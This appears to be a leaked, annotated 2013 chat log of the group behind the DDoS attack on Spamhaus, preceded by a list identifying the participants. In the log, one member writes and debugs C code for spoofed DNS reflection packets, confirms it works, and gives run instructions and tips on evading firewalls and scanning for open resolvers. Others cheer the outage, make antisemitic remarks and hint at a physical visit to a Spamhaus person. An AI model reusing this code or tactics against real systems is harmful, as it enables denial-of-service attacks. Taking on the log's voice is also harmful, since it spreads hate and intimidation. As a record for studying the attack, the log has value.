· 7 years ago · Sep 21, 2018, 08:02 PM
1====================================================================
2
3THE CHAT LOG MEMBERS
4------------------------------------------------------------
5Aleksey Frolov : vainet[dot]biz, vainet[dot].ru, Russian host.
6------------------------------------------------------------
7Alex Optik : Russian 'BP host'. AKA NEO
8------------------------------------------------------------
9Andrei Stanchevici : secured[dot]md Moldova
10------------------------------------------------------------
11Cali : Vitalii Boiko AKA Vitaliyi Boyiko AKA Cali Yhzar, alleged by Spamhaus to be dedicated crime hosters urdn[dot]com.ua AKA Xentime[dot]com AKA kurupt[dot]ru
12------------------------------------------------------------
13Darwick : Zemancsik Zsolt, 23net[dot]hu, Hungarian host.
14------------------------------------------------------------
15eDataKing : Andrew Jacob Stephens, Ohio/Florida based spamware seller formerly listed on Spamhaus's Register of Known Spam Operations (ROKSO). Was main social media mouthpiece of Stophaus (e.g. see @stophaus). Andrew threatens to sue everyone for libel, and is likely to show up in the comments below and do the same here.
16------------------------------------------------------------
17Erik Bais : A2B Internet, Netherlands
18------------------------------------------------------------
19Goo : Peter van Gorkum AKA Gooweb.nl, alleged by Spamhaus to be a botnet supplier in the Netherlands.
20------------------------------------------------------------
21Hephaistos : AKA @AnonOps on Twitter
22------------------------------------------------------------
23HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuis
24AKA Cyberbunker AKA CB3ROB
25------------------------------------------------------------
26Karlin König : Suavemente/SplitInfinity, San Diego based host.
27------------------------------------------------------------
28marceledler : German hoster that Spamhaus says has a history of hosting spammers, AKA Optimate-Server[dot]de
29------------------------------------------------------------
30Mark - Evgeny Pazderin : Russian, alleged by Spamhaus to be hoster of webinjects used for man-in-the-middle attacks (MITM) against online banking sessions.
31------------------------------------------------------------
32Mastermind of Possibilities : Norman "Chris" Jester AKA Suavemente/SplitInfinity, alleged by Spamhaus to be San Diego based spam host.
33------------------------------------------------------------
34Narko :/a>Sean Nolan McDonough, UK-based teenager, trigger man in the attack. Allegedly hired by Yuri to perform the DDoS. Later pleaded guilty to coordinating the attack in 2013.
35------------------------------------------------------------
36NM : Nikolay Metlyuk, according to Spamhaus a Russian botnet provider
37------------------------------------------------------------
38simomchen : Simon Chen AKA idear4business counterfeit Chinese products, formerly listed on Spamhaus ROKSO.
39------------------------------------------------------------
40Spamahost : As its name suggests, a Russian host specializing in spam, spam and spam.
41------------------------------------------------------------
42twisted : Admin of Cyberbunker[dot]com
43------------------------------------------------------------
44valeralelin : Valerii Lolin, infiumhost[dot]com, Ukraine
45------------------------------------------------------------
46Valeriy Uhov : Per Spamhaus, a Russian 'bulletproof hoster'.
47------------------------------------------------------------
48WebExxpurts : Deepak Mehta, alleged cybercrime host specializing in hosting botnet C&Cs. AKA Turbovps (<bd[at]turbovps[dot]com>).
49------------------------------------------------------------
50wmsecurity : off-sho[dot]re 'Bulletproof' hoster. Lithuania. AKA "Antitheist". Profiled in this story.
51------------------------------------------------------------
52Xennt : H.J. Xennt, owner of Cyberbunker.
53------------------------------------------------------------
54Yuri : Yuri Bogdanov, owner of 2x4[dot]ru, longtime spam friendly Russian host, formerly part of Russian Business Network (RBN). Allegedly hired Narko to launch DDoS attack against Spamhaus.
55============================================================
56
57[START]
58
59[17.03.2013 19:34:41] Ãœõтûюú ÃÂøúþûðù: Marcel is here?
60[17.03.2013 19:34:57] Alex Optik: seems yes but not answering now
61[17.03.2013 19:35:05] Alex Optik: seems because of weekends
62[17.03.2013 19:35:12] webexxpurts: yea its weekend
63[17.03.2013 19:35:21] webexxpurts: can we lease servers from them?
64[17.03.2013 19:35:29] Alex Optik: Marcel is http://www.optimate-server.de
65[17.03.2013 19:35:34] Ãœõтûюú ÃÂøúþûðù: I think yes
66[17.03.2013 19:35:53] Alex Optik: i suppose those peoples can be usefull for us
67[17.03.2013 19:35:56] Ãœõтûюú ÃÂøúþûðù: He has partner/friend Jens
68[17.03.2013 19:36:01] Alex Optik: they hate spamhaus too
69[17.03.2013 19:38:00] Ãœõтûюú ÃÂøúþûðù: I suppose)
70[17.03.2013 19:38:09] Ãœõтûюú ÃÂøúþûðù: They were listed by /15
71[17.03.2013 19:38:41] Ãœõтûюú ÃÂøúþûðù: I saw their listings few months ago
72[17.03.2013 19:39:25] webexxpurts: Nice.
73[17.03.2013 19:39:40] webexxpurts: lets see whats their take on it
74[17.03.2013 19:40:23] Ãœõтûюú ÃÂøúþûðù: Noah, did you work with them?
75[17.03.2013 19:42:15] Alex Optik: i was working with all of them long time about bulletproof servers!
76[17.03.2013 19:51:31] eDataKing: watch the show: http://www.webhostingtalk.com/showthread.php?t=1247982
77[17.03.2013 19:52:02] -= Darwick =-: hell yeah! :)
78[17.03.2013 19:52:09] -= Darwick =-: hit them hard :)
79[17.03.2013 19:54:07] -= Darwick =-: is that a ddos attack?
80[17.03.2013 19:54:56] eDataKing: but let's forget what it is and focus on it's consequence lol ;)
81[17.03.2013 19:55:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 45 10 3A 00 D4 31 00 00 40 11 C3 16 C0 A8 01 04 C0 A8 01 64 00 35 00 35 00 26 00 00 AA AA 01 00 00 01 00 00 00 00 00 00 03 73 70 61 6D 68 61 75 73 03 6F 72 67 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
82[17.03.2013 19:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: why doesn't tcp dump show this as a valid dns NS request for spamhaus.org?
83[17.03.2013 19:56:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i mean i put the 0x3's around spamhaus and a 0x0 behind org
84[17.03.2013 19:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: type 2 class 1
85[17.03.2013 19:56:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: checksums for udp are optional so thats not the problem
86[17.03.2013 19:56:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but tcpdump just shows it as [|domain\
87[17.03.2013 19:57:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: rather than bla bla spamhaus.org. bla
88[17.03.2013 19:57:13] narko: what query are you running
89[17.03.2013 19:57:17] narko: -q=NS?
90[17.03.2013 19:57:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sourcein.sin_family=AF_INET;
91destin.sin_family=AF_INET;
92sourcein.sin_port=htons(53);
93destin.sin_port=htons(53);
94sourcein.sin_addr.s_addr=childaddr.s_addr;
95destin.sin_addr.s_addr=ips[ret].s_addr;
96ip->iph_ver=0x45;
97ip->iph_tos=16;
98ip->iph_len=sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsquery);
99ip->iph_ident=htons(54321);
100ip->iph_ttl=64;
101ip->iph_protocol=17;
102ip->iph_sourceip=childaddr.s_addr;
103ip->iph_destip=ips[ret].s_addr;
104udp->udph_srcport=htons(53);
105udp->udph_destport=htons(53);
106udp->udph_len=htons(sizeof(struct udpheader)+sizeof(struct dnsquery));
107ip->iph_chksum=csum((unsigned short *)packet, sizeof(struct ipheader) + sizeof(struct udpheader));
108dns->transid=htons(0xaaaa);
109dns->flags=htons(0x0100);
110dns->qcount=htons(1);
111dns->acount=0;
112dns->authcount=0;
113dns->addreccount=0;
114dns->qstart=3;
115dns->qname[0]='s';
116dns->qname[1]='p';
117dns->qname[2]='a';
118dns->qname[3]='m';
119dns->qname[4]='h';
120dns->qname[5]='a';
121dns->qname[6]='u';
122dns->qname[7]='s';
123dns->qend=3;
124dns->tld[0]='o';
125dns->tld[1]='r';
126dns->tld[2]='g';
127dns->trail=0;
128dns->qtype=htons(2);
129dns->qclass=htons(1);
130
131int x;for (x=0;x<80;x++) {printf("%02X ",(unsigned char )packet[x]);};printf("\n");
132sleep(1);
133sendto(sd,packet,ip->iph_len,0,(struct sockaddr *)&destin,sizeof(sourcein));
134[17.03.2013 19:58:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: from what i can conduct of the crap on the internet regardng dns... 03 and 06 are field seperators for the part for which the server is authorative
135[17.03.2013 19:58:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and 0 is the 'end' aka root.
136[17.03.2013 19:58:43] narko: well heres the query
137[17.03.2013 19:58:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its right there :P
138[17.03.2013 19:58:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dns->qname bla bla
139[17.03.2013 19:59:08] narko: \x00\x02\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08\x73\x70\x61\x6D\x68\x61\x75\x73\x03\x6F\x72\x67\x00\x00\x02\x00\x01
140[17.03.2013 19:59:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dns->qstart=3;
141dns->qname[0]='s';
142dns->qname[1]='p';
143dns->qname[2]='a';
144dns->qname[3]='m';
145dns->qname[4]='h';
146dns->qname[5]='a';
147dns->qname[6]='u';
148dns->qname[7]='s';
149dns->qend=3;
150dns->tld[0]='o';
151dns->tld[1]='r';
152dns->tld[2]='g';
153dns->trail=0;
154[17.03.2013 19:59:33] Mastermind of Possibilities: Hey is haus DNS servers recursive? Can you find all subdomains of Spamhaus domains?
155[17.03.2013 19:59:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they're authorative for -their own domain-
156[17.03.2013 19:59:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats all we need to make them spam each other the big NS spamhaus.org answer :P
157[17.03.2013 20:00:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least the main ones are authorative for spamcrap.org
158[17.03.2013 20:02:55] marceledler: hey
159[17.03.2013 20:02:58] marceledler: i am here now
160[17.03.2013 20:03:14] marceledler: let me read that first what you speaking about :)
161[17.03.2013 20:09:57] WebExxpurts: google has picked the posthttps://www.google.com/search?q=spamhaus+down48hours&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&client=firefox-a&hs=XQJ&rls=org.mozilla:en-US:official&q=spamhaus+down+48+hours&spell=1&sa=X&ei=2gZGUZiXHLTB4APOhIDYBw&ved=0CC8QBSgA&bav=on.2,or.r_qf.&bvm=bv.43828540,d.dmg&fp=aaeba9b7f058e829&biw=1364&bih=597
162[17.03.2013 20:10:10] narko: Our systems have detected unusual traffic from your computer network. This page checks to see if it's really you sending the requests, and not a robot
163[17.03.2013 20:10:13] narko: (angry)
164[17.03.2013 20:10:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
165[17.03.2013 20:10:26] narko: it's broken
166[17.03.2013 20:10:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah they did that with our intel gathering box all the time
167[17.03.2013 20:10:34] narko: I can enter the captcha 200 times and google won't allow me to search
168[17.03.2013 20:10:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what the hell do they have rss feeds for if you can't index them haha
169[17.03.2013 20:10:51] narko: i just do normal searches and now i got banned
170[17.03.2013 20:11:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in the end we just kicked the requests to google over tor :P
171[17.03.2013 20:11:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess what google, an rss client -is a robot- :P
172[17.03.2013 20:11:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: per definition
173[17.03.2013 20:12:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it can't click on any fucking link
174[17.03.2013 20:12:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: don't like it? then don't advertise rss feeds
175[17.03.2013 20:12:27] narko: lol
176[17.03.2013 20:15:35] narko: use xrumer to write in 10000 places that spamhaus is down and unreliable :P
177[17.03.2013 20:22:16] WebExxpurts: Listing reason will be : blackhat seo forum posting .... :D
178[17.03.2013 20:25:13] Alex Optik: but some time before they were not listing the SEO forum posting... only mails...
179[17.03.2013 20:25:40] narko: now they list everything
180[17.03.2013 20:25:49] Alex Optik: now yes
181[17.03.2013 20:25:55] narko: pharma affiliate sites that are not even spamvertised?listed
182[17.03.2013 20:25:56] Alex Optik: even botnet controllers
183[17.03.2013 20:26:00] WebExxpurts: now they are down also.. lol
184[17.03.2013 20:26:06] Alex Optik: which is not even connected to spam
185[17.03.2013 20:26:33] Yuri: spamhaus take some information from "stopforumspam" website and create SBLs on it.
186no site, no sbls...
187[17.03.2013 20:27:57] Mastermind of Possibilities: Andrew why are you posting in nanae? Stop man lol
188[17.03.2013 20:28:02] Mastermind of Possibilities: Geeze
189[17.03.2013 20:28:07] Mastermind of Possibilities: Lol
190[17.03.2013 20:28:24] Mastermind of Possibilities: You can't resist the urge? Greg
191[17.03.2013 20:28:51] Mastermind of Possibilities: Greg is stupid iPhone spellcheck replacement for hehe
192[17.03.2013 20:29:08] Mastermind of Possibilities: Lame I need to turn that shit off
193[17.03.2013 20:30:41] WebExxpurts: yes do not post on nanae.. they thinkg andrew is behind it
194[17.03.2013 20:31:15] Alex Optik: by the way this is one of cases with spamhaus which is "going too far" cause botnet or malware is not connected anyhow with spamhaus!this means they are really trying to sabotage anything what is simply connected with illegal...or with mask of illegal!this because they are really putting their noses everywhere when even their participation is not even needed!
195[17.03.2013 20:32:50] marceledler: ok guys. yes, i sold some ip space and servers for you guys in past. and had some big problems with spamhaus, but all of them is solved now. i dont like spamhaus, yes, but with german law i cannot help you and will quit this channel here. i am at skype with my real name and you know my website. when anyone is from fbi or police i will get big trouble. so i hope you understand me, that i cannot work with you on that project :)
196[17.03.2013 20:35:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 18:35:22.002877 IP 192.168.1.100.53 > 192.168.1.1.53: 43690 8/0/0 NS fi503-nij.surfnet.nl., NS ns20.ja.net., NS ns1.spamhaus.rethemdns.net., NSns2.spamhaus.rethemdns.net., NS ns4.spamhaus.rethemdns.net., NSns3.spamhaus.org., NS fi503-hfj.surfnet.nl., NS ns3.spamhaus.rethemdns.net. (222)
19718:35:22.075915 IP 192.168.1.1.53 > 192.168.1.100.53: 43690 8/0/0 NSns1.spamhaus.rethemdns.net., NS ns3.spamhaus.org., NS fi503-nij.surfnet.nl., NS ns3.spamhaus.rethemdns.net., NS ns20.ja.net., NS fi503-hfj.surfnet.nl., NSns4.spamhaus.rethemdns.net., NS ns2.spamhaus.rethemdns.net. (222)
19818:35:22.106130 ARP, Request who-has 192.168.1.151 tell 192.168.1.3, length 46
19918:35:23.000466 ARP, Request who-has 192.168.1.2 tell 192.168.1.100, length 28
20018:35:23.000601 IP 192.168.1.100.53 > 192.168.1.3.53: 43690 8/0/0 NSns4.spamhaus.rethemdns.net., NS fi503-nij.surfnet.nl., NSns2.spamhaus.rethemdns.net., NS fi503-hfj.surfnet.nl., NS ns3.spamhaus.org., NS ns1.spamhaus.rethemdns.net., NS ns3.spamhaus.rethemdns.net., NSns20.ja.net. (222)
20118:35:23.002509 IP 192.168.1.100.53 > 192.168.1.4.53: 43690 8/0/0 NSns20.ja.net., NS ns2.spamhaus.rethemdns.net., NS ns1.spamhaus.rethemdns.net., NS ns3.spamhaus.org., NS fi503-nij.surfnet.nl., NSns4.spamhaus.rethemdns.net., NS fi503-hfj.surfnet.nl., NSns3.spamhaus.rethemdns.net. (222)
202[17.03.2013 20:35:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ok it works.
203[17.03.2013 20:36:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: \o/
204[17.03.2013 20:36:11] narko: ]:)
205[17.03.2013 20:36:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh need to randomize the transaction id in dns and the ip packet sequence no
206[17.03.2013 20:36:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: one sec :P
207[17.03.2013 20:36:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its pretty easy to firewall for them if they're all 0xAAAA
208[17.03.2013 20:36:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
209[17.03.2013 20:36:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and add/substract a bit to the ttl a bit kinda
210[17.03.2013 20:37:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or else they use that again
211[17.03.2013 20:37:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: got linux boxes as well? or just wintendo
212[17.03.2013 20:37:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with unfiltered source
213[17.03.2013 20:38:09] narko: windows
214[17.03.2013 20:41:42] *** marceledler quit ***
215[17.03.2013 21:12:39] Ãœõтûюú ÃÂøúþûðù: Guys, who has cheap transit in NIKHEF?
216[17.03.2013 21:12:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he.net, cogent
217[17.03.2013 21:13:14] Ãœõтûюú ÃÂøúþûðù: they dont give me good prices=((( may be because im russian=)
218[17.03.2013 21:20:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 500 euros per 1000base is pretty good.
219[17.03.2013 21:20:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he kinda charges the same for everyone at every amsterdam pop afaik
220[17.03.2013 21:20:36] Ãœõтûюú ÃÂøúþûðù: who? cogent?
221[17.03.2013 21:20:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nohe.net
222[17.03.2013 21:20:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but you getting them sbl'ed is a problem to them :P terms of use..
223[17.03.2013 21:21:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sooo.. time to kill spamhaus lol
224[17.03.2013 21:21:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: speaking about which... the code works but i can't get them down from our network. :P
225[17.03.2013 21:21:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: FOUND:ns1.spamhaus.rethemdns.net.
226FOUND: ns3.spamhaus.org.
227FOUND: fi503-nij.surfnet.nl.
228FOUND: ns3.spamhaus.rethemdns.net.
229FOUND: ns20.ja.net.
230FOUND: fi503-hfj.surfnet.nl.
231FOUND: ns4.spamhaus.rethemdns.net.
232FOUND: ns2.spamhaus.rethemdns.net.
233ns1.spamhaus.rethemdns.net. 154.35.136.98 www.spamhaus.org. 300 IN A 154.35.160.11
234ns3.spamhaus.org. 192.150.94.200 www.spamhaus.org. 300 IN A 154.35.160.11
235fi503-nij.surfnet.nl. 195.169.124.73 www.spamhaus.org. 300 IN A 154.35.160.11
236ns3.spamhaus.rethemdns.net. 154.35.136.98 www.spamhaus.org. 300 IN A 154.35.160.11
237ns20.ja.net. 194.82.174.6 www.spamhaus.org. 300 IN A 154.35.160.11
238fi503-hfj.surfnet.nl. 145.97.20.167 www.spamhaus.org. 300 IN A 154.35.160.11
239ns4.spamhaus.rethemdns.net. 154.35.136.99 www.spamhaus.org. 300 IN A 154.35.160.11
240ns2.spamhaus.rethemdns.net. 154.35.136.99 www.spamhaus.org. 300 IN A 154.35.160.11
241[17.03.2013 21:21:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: still all up
242[17.03.2013 21:22:38] Ãœõтûюú ÃÂøúþûðù: no, we are good company, we dont need bullet-proof uplink=) we need only cheap transit=)
243[17.03.2013 21:22:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol i think i killed the shitty server hahaha
244[17.03.2013 21:22:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ours that is
245[17.03.2013 21:22:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
246[17.03.2013 21:23:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: running forker 20 times didn't go well with the cpu i guess
247[17.03.2013 21:23:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
248[17.03.2013 21:23:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: soooo.... who has a bunch of linux boxes...
249[17.03.2013 21:25:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in there there is forker.c and iplist.txt ... it basically takes the ips in iplist.txt (the spamhaus main nameservers)
250[17.03.2013 21:26:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spoofs those as the source
251[17.03.2013 21:26:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sends NS spamhaus.org to all other ips in the list
252[17.03.2013 21:26:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically it forks 1 process for each source.
253[17.03.2013 21:26:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but just run it multiple times until the cpu maxes out
254[17.03.2013 21:27:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gcc -o forker forker.c ; ./forker btw :P
255[17.03.2013 21:31:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: no idea how to do sock_raw on wintendo...
256[17.03.2013 21:31:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: could easily port it for dos packet drivers on int 60h but windows doesn't do that either i guess
257[17.03.2013 21:32:03] Yuri: where to get DNS servers lists?
258[17.03.2013 21:32:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh those come out of ./findsh.pl
259[17.03.2013 21:32:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the main ones that is
260[17.03.2013 21:32:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or do you just want dns servers in general?
261[17.03.2013 21:32:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with recurse on/
262[17.03.2013 21:33:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in which case: just scan the whole god damn ipv4 internet...s end them all a query and wait for the answers :P
263[17.03.2013 21:33:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its only 4 billion packets anyway
264[17.03.2013 21:33:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: half an hour max
265[17.03.2013 21:34:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: once you're used to ipv6 suddenly the ipv4 internet looks like a small joke for kids haha
266[17.03.2013 21:35:10] narko: .arj
267[17.03.2013 21:35:13] narko: its 1993 again
268[17.03.2013 21:35:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 'oh lets just scan the whole god damn thing i have more ips for my coffee machine'
269[17.03.2013 21:35:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yheah i wanted to encrypt it with it but could not get that to work lol
270[17.03.2013 21:36:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as it had to traverse serveral systems not under our control to get to the backdoor of our networks
271[17.03.2013 21:39:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: btw... did i see sven wiese's name passing by claiming that he -peers- with spamhaus? if so on what asn... and thats quite funny as the guy was dropping some very nasty clients with us about a year ago which he didn't want on his own networks appearantly
272[17.03.2013 21:41:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: smtp.. its 1964 again :P arj isn't -that- bad :P lol
273[17.03.2013 21:44:25] narko: the webhosttalk thread is being ignored
274[17.03.2013 21:44:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: maybe ppl are scared to go 'good riddance' :P
275[17.03.2013 21:44:59] WebExxpurts: SH is of no value to them
276[17.03.2013 21:45:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sh is of no value to anyone, at most it gets in the way.
277[17.03.2013 21:46:48] narko: i still need to buy ips
278[17.03.2013 21:46:49] narko: :(
279[17.03.2013 21:47:01] WebExxpurts: for?
280[17.03.2013 21:47:08] narko: webhosting
281[17.03.2013 21:57:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: jezus fuck apple.. a 333.3MB security update? lol
282[17.03.2013 21:58:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i can fit 10 linux installs in there lol
283[17.03.2013 22:19:10] Mastermind of Possibilities: I can sell you ips
284[17.03.2013 22:19:12] Mastermind of Possibilities: :)
285[17.03.2013 22:19:17] Mastermind of Possibilities: Rokso ones lol
286[17.03.2013 22:19:29] Mastermind of Possibilities: I'll sell you company ASN etc lol
287[17.03.2013 22:19:39] narko: need clean
288[17.03.2013 22:22:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
289[17.03.2013 22:22:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuis shared a link.
2902 grains o' sand ago
291www.spamhaus.org still down, and that criminal bunch of self declared internet dictators will still remain down, until our demands are met :P over 48h already :P hi steve, your nameservers are up next... that means: you lose your e-penis of idiots resolving your shit. end of the line buddy :P should have called and paid for the damages.
292The Spamhaus Project
293www.spamhaus.org
294Spamhaus tracks the Internet's worst Spammers, known Spam Gangs and Spam Support Services, and works with ISPs and Law Enforcement Agencies to identify and remove persistent spammers from the Internet.
295Arr! · · Promote · Blabber t' yer mates
296[17.03.2013 22:25:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: rokso no longer exists haha
297[17.03.2013 22:29:51] Mastermind of Possibilities: Where is that posted ?
298[17.03.2013 22:30:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: my 3850 facebook friends :P
299[17.03.2013 22:30:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you know, stuff people actually -use-... unlike smtp and nntp
300[17.03.2013 22:30:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
301[17.03.2013 22:30:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:facebook.com/cb3rob
302[17.03.2013 22:31:08] narko: i've never had a facebook or twitter
303[17.03.2013 22:31:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: me neither until one of my salesdroids told me to set up a few during the tpb case
304[17.03.2013 22:31:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
305[17.03.2013 22:31:39] narko: so if i ever actually manage to register IPs people cant find information about me when they get hacked by my ranges :D :D
306[17.03.2013 22:32:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if people can't find you they can't do business with you either :P
307[17.03.2013 22:32:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats the problem with that approach
308[17.03.2013 22:32:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
309[17.03.2013 22:33:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just, publicly, take the piss out of em :P
310[17.03.2013 22:33:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
311[17.03.2013 22:34:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so there is no denial possible for them :P
312[17.03.2013 22:35:58] Alex Optik: vulnerability of everybody!
313[17.03.2013 22:36:17] Alex Optik: is facebooks or other fucking meeting websites
314[17.03.2013 22:37:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dude, we don't care... we got a basement full of guns and that sorta thing and 5 bunkers :P and even if they don't recognize the republic cyberbunker, they do recognize the netherlands :P
315[17.03.2013 22:37:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and there is some stuff the netherlands would rather keep secret :P
316[17.03.2013 22:37:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: kinda
317[17.03.2013 22:37:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so, as long as i don;t go to the usa or occupied palestine, they can all wipe my ass :P
318[17.03.2013 22:38:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and de-facto, all countries in the world except for the zionist fuckheads would rather see spamhaus silently disappear :P
319[17.03.2013 22:39:14] narko: selll me passport
320[17.03.2013 22:39:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you get one free
321[17.03.2013 22:39:32] narko: can it get me into thailand?
322[17.03.2013 22:39:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if you push them hard enough... yeah guess so
323[17.03.2013 22:40:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and if james didn't piss off the king over there already lol
324[17.03.2013 22:40:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: will check haha
325[17.03.2013 22:40:25] narko: (highfive)
326[17.03.2013 22:41:24] narko: i will live in chiang mai,thailand so i can give believable and creative excuses for not working to the guy who hires me as a programmer
327[17.03.2013 22:41:34] narko: elephant ate my hard drive, i have malaria
328[17.03.2013 22:41:34] narko: etc
329[17.03.2013 22:41:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz
330[17.03.2013 22:44:05] narko: but realy i'll start to make plans soon
331[17.03.2013 22:44:13] narko: i want to leave this shitty city and shitty country
332[17.03.2013 22:44:22] narko: then i can sell bp hosting from my apartment
333[17.03.2013 22:44:22] narko: :D
334[17.03.2013 22:45:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://graphics8.nytimes.com/images/2006/10/16/business/16spam.600x358.jpg
335[17.03.2013 22:45:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: state of the art shit :P
336[17.03.2013 22:45:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wow... a flatscreen <---
337[17.03.2013 22:45:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: down there in the corner!
338[17.03.2013 22:45:57] narko: this is spamhaus?
339[17.03.2013 22:46:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep
340[17.03.2013 22:46:22] narko: he looks like an old jewish professor
341[17.03.2013 22:46:24] narko: lol
342[17.03.2013 22:46:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he -is- :P
343[17.03.2013 22:46:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
344[17.03.2013 22:47:03] narko: if we have the real address i can make a visit to him if i am going to thailand
